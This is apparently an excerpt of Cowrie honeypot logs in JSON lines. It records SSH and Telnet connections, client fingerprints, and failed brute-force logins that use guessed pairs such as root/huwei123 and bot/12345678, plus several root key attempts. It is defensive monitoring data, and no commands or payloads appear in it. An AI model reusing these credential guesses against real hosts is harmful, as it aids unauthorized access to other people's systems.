{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:21:02.993221Z","src_ip":"205.254.166.156","session":"61c58aff958e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":58432,"dst_ip":"10.17.0.5","dst_port":23,"session":"89d3ee894db4","protocol":"telnet","message":"New connection: 167.71.238.254:58432 (10.17.0.5:23) [session: 89d3ee894db4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:21:20.526178Z"}
{"eventid":"cowrie.session.closed","duration":27.736127376556396,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:21:48.262167Z","src_ip":"167.71.238.254","session":"89d3ee894db4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.85.41.170","src_port":39442,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb85d7044ec9","protocol":"ssh","message":"New connection: 190.85.41.170:39442 (159.203.135.109:22) [session: eb85d7044ec9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:21:54.447364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:21:54.452478Z","src_ip":"190.85.41.170","session":"eb85d7044ec9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:21:54.528522Z","src_ip":"190.85.41.170","session":"eb85d7044ec9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:21:54.864074Z","src_ip":"190.85.41.170","session":"eb85d7044ec9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:21:55.944776Z","src_ip":"190.85.41.170","session":"eb85d7044ec9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.27.36.16","src_port":60126,"dst_ip":"159.203.135.109","dst_port":22,"session":"d97e6a0ae3f5","protocol":"ssh","message":"New connection: 2.27.36.16:60126 (159.203.135.109:22) [session: d97e6a0ae3f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:21:58.824608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:21:58.829294Z","src_ip":"2.27.36.16","session":"d97e6a0ae3f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:21:58.930643Z","src_ip":"2.27.36.16","session":"d97e6a0ae3f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:21:59.369091Z","src_ip":"2.27.36.16","session":"d97e6a0ae3f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:22:00.469970Z","src_ip":"2.27.36.16","session":"d97e6a0ae3f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.166.146","src_port":53340,"dst_ip":"10.17.0.5","dst_port":22,"session":"413e7b3d56b7","protocol":"ssh","message":"New connection: 43.135.166.146:53340 (10.17.0.5:22) [session: 413e7b3d56b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:22:15.515921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:22:15.520540Z","src_ip":"43.135.166.146","session":"413e7b3d56b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:22:15.589046Z","src_ip":"43.135.166.146","session":"413e7b3d56b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":29162,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb9175cd6b2c","protocol":"ssh","message":"New connection: 194.59.206.2:29162 (159.203.135.109:22) [session: eb9175cd6b2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:22:15.660450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:22:15.665623Z","src_ip":"194.59.206.2","session":"eb9175cd6b2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:22:15.768409Z","src_ip":"194.59.206.2","session":"eb9175cd6b2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:22:15.868479Z","src_ip":"194.59.206.2","session":"eb9175cd6b2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huwei123","message":"login attempt [root/huwei123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:22:15.897878Z","src_ip":"43.135.166.146","session":"413e7b3d56b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:22:16.969863Z","src_ip":"43.135.166.146","session":"413e7b3d56b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.85.41.170","src_port":56822,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c901de59bc3","protocol":"ssh","message":"New connection: 190.85.41.170:56822 (159.203.135.109:22) [session: 3c901de59bc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:23:10.743353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:23:10.748813Z","src_ip":"190.85.41.170","session":"3c901de59bc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:23:10.823078Z","src_ip":"190.85.41.170","session":"3c901de59bc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"12345678","message":"login attempt [bot/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:23:11.155468Z","src_ip":"190.85.41.170","session":"3c901de59bc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:23:12.231827Z","src_ip":"190.85.41.170","session":"3c901de59bc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.115.163","src_port":58894,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd94b77bb5ce","protocol":"ssh","message":"New connection: 154.16.115.163:58894 (10.17.0.5:22) [session: dd94b77bb5ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:23:42.363271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:23:42.368077Z","src_ip":"154.16.115.163","session":"dd94b77bb5ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:23:42.396741Z","src_ip":"154.16.115.163","session":"dd94b77bb5ce","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1c:28:50:d8:26:60:ea:28:3b:d3:39:d9:7d:c4:b2:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4rJyBGazhMqB4XUO+vrkBn4He0W8iFW4DpHRrdIINiKdEg7qWmQfTTAoCkaPXHKqxAcAKRjfD7wIpF22NSnlFupcxCTZpqj3oskFVYjnK5t6SxGzNGk5BvVn4tWSt8cDRh5lkcrIHpdi2tJXbHxWF5OLHKKSD8mjzIHnuXuhVoA6lNlV2ZfH6RKkkISocMqbB0rb4VzbSNyhAcWpACUk7fnCDzS12ivobMy6WmcvL8sDqDH+DRFy9sTyD+TqCBtO1En4Uw5kBD6su317wdWtJ7SSyHxiyCvv+nzJYzkYMaVE2d2Xgkjbq9tqRVdrgATE+Wm+s2ZG7mUsAkIR9MI7t","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1c:28:50:d8:26:60:ea:28:3b:d3:39:d9:7d:c4:b2:fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:23:42.512504Z","src_ip":"154.16.115.163","session":"dd94b77bb5ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1c:28:50:d8:26:60:ea:28:3b:d3:39:d9:7d:c4:b2:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4rJyBGazhMqB4XUO+vrkBn4He0W8iFW4DpHRrdIINiKdEg7qWmQfTTAoCkaPXHKqxAcAKRjfD7wIpF22NSnlFupcxCTZpqj3oskFVYjnK5t6SxGzNGk5BvVn4tWSt8cDRh5lkcrIHpdi2tJXbHxWF5OLHKKSD8mjzIHnuXuhVoA6lNlV2ZfH6RKkkISocMqbB0rb4VzbSNyhAcWpACUk7fnCDzS12ivobMy6WmcvL8sDqDH+DRFy9sTyD+TqCBtO1En4Uw5kBD6su317wdWtJ7SSyHxiyCvv+nzJYzkYMaVE2d2Xgkjbq9tqRVdrgATE+Wm+s2ZG7mUsAkIR9MI7t","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:23:42.519780Z","src_ip":"154.16.115.163","session":"dd94b77bb5ce","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"28:01:01:ba:f3:29:20:e1:92:03:34:8e:9d:f4:db:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCv5/3vPjSHkFiQzNW7SiG66AErfVmYgUB20G17XLgqutJMfj5xZOv5y6KUSXxExzAQq5AyIu2yN/B1LkjKACct6PTjrwJU+SPaAISDx/96yWduflJIboLhVEX64sOLqUXn/j2OSWSr4LZW5wzds0r2epsFUfusmAUa8YiIHaeoe6mGtvt1H4eoI1mm759NW+RSFgodJq96VqMzOyYnaXhVpv7+Q3TD0qXScSEOGLomJiy+gD4ZSezSSWegN2E/j46M/w35UoQJLxP0Zb1lG/BITEm8t4kKqKjK0ILjYlNOmO83fv6vmo8nOtD9KyVMpwrS+nUamY8dBKUwLeOKXC0kMd4Bc7J/9b8CHWjF5lnppUCs8z46tFW9OP8bgANAmUKxoDYPBrhIwXqaMdAdjOz74TdQvLryynnDN6j03zVnZiqLFFOl0MGp4iSbZpvYF9AUcMeU8hH/EtptyAFVEK7JP5EAvFSNshBC1XGFmjP12OiDa+nlocPvI6GwNtYInOy6uY+1jRSTAD4CSApcf3qJdkwK9TXELRH869BrjvRixX8z6ggP3gbLWrUM1DpG4keRN9mIJSndfMMBJQHxHlleISvO4omY9Ku6PpX9CuaXf4mB2tBFwzMmrZ7Dz+3St0T/r95KmEURo7Y5/5PQoiAfBIV48TKgHLpwbLOdE1nINw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 28:01:01:ba:f3:29:20:e1:92:03:34:8e:9d:f4:db:a1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:23:42.548719Z","src_ip":"154.16.115.163","session":"dd94b77bb5ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"28:01:01:ba:f3:29:20:e1:92:03:34:8e:9d:f4:db:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCv5/3vPjSHkFiQzNW7SiG66AErfVmYgUB20G17XLgqutJMfj5xZOv5y6KUSXxExzAQq5AyIu2yN/B1LkjKACct6PTjrwJU+SPaAISDx/96yWduflJIboLhVEX64sOLqUXn/j2OSWSr4LZW5wzds0r2epsFUfusmAUa8YiIHaeoe6mGtvt1H4eoI1mm759NW+RSFgodJq96VqMzOyYnaXhVpv7+Q3TD0qXScSEOGLomJiy+gD4ZSezSSWegN2E/j46M/w35UoQJLxP0Zb1lG/BITEm8t4kKqKjK0ILjYlNOmO83fv6vmo8nOtD9KyVMpwrS+nUamY8dBKUwLeOKXC0kMd4Bc7J/9b8CHWjF5lnppUCs8z46tFW9OP8bgANAmUKxoDYPBrhIwXqaMdAdjOz74TdQvLryynnDN6j03zVnZiqLFFOl0MGp4iSbZpvYF9AUcMeU8hH/EtptyAFVEK7JP5EAvFSNshBC1XGFmjP12OiDa+nlocPvI6GwNtYInOy6uY+1jRSTAD4CSApcf3qJdkwK9TXELRH869BrjvRixX8z6ggP3gbLWrUM1DpG4keRN9mIJSndfMMBJQHxHlleISvO4omY9Ku6PpX9CuaXf4mB2tBFwzMmrZ7Dz+3St0T/r95KmEURo7Y5/5PQoiAfBIV48TKgHLpwbLOdE1nINw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:23:42.553151Z","src_ip":"154.16.115.163","session":"dd94b77bb5ce","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fc:ca:08:20:65:6c:7b:8b:05:5a:42:27:d5:dd:7a:67","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAID7jUuNnAjzvtYMa8lDu6WqxvEMUb86sW9+UVphXRUQo","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint fc:ca:08:20:65:6c:7b:8b:05:5a:42:27:d5:dd:7a:67","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:23:42.584740Z","src_ip":"154.16.115.163","session":"dd94b77bb5ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fc:ca:08:20:65:6c:7b:8b:05:5a:42:27:d5:dd:7a:67","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAID7jUuNnAjzvtYMa8lDu6WqxvEMUb86sW9+UVphXRUQo","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:23:42.588892Z","src_ip":"154.16.115.163","session":"dd94b77bb5ce","protocol":"ssh"}
